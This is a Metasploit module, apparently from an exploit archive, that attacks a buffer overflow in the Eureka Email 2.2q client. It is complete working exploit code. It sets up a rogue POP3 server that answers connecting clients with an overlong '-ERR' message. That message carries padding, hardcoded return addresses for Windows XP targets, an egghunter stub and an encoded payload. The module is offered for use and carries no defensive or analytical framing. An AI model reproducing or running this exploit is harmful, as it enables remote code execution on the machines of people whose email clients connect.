Eureka Email 2.2q ERR Remote Buffer Overflow Exploit

`class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::TcpServer  
include Msf::Exploit::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Eureka Email 2.2q ERR Remote Buffer Overflow Exploit',  
'Description' => %q{  
This module exploits a buffer overflow in the Eureka Email 2.2q  
client that is triggered through an excessively long ERR message.  
},  
'Author' => [ 'Francis Provencher', 'Dr_IDE', 'dookie', ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 7724 $',  
'References' =>  
[  
[ 'URL', 'http://www.exploit-db.com/exploits/10235' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
'Payload' =>  
{  
'Space' => 2000,  
'BadChars' => "\x00\x0a\x0d\x20",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp user32.dll  
[ 'Win XP SP3 English', { 'Ret' => 0x7E429353 } ], # jmp esp user32.dll  
],  
'Privileged' => false,  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),  
], self.class)  
end  
  
def on_client_connect(client)  
return if ((p = regenerate_payload(client)) == nil)  
  
# Unleash the Egghunter!  
eh_stub, eh_egg = generate_egghunter  
  
buffer = "-ERR "  
buffer << rand_text_alpha_upper(710)  
buffer << [target.ret].pack('V')  
buffer << make_nops(10)  
buffer << eh_stub  
buffer << make_nops(200)  
buffer << rand_text_alpha_upper(2000)  
buffer << eh_egg * 2  
buffer << payload.encoded  
client.put(buffer)  
end  
  
end  
  
`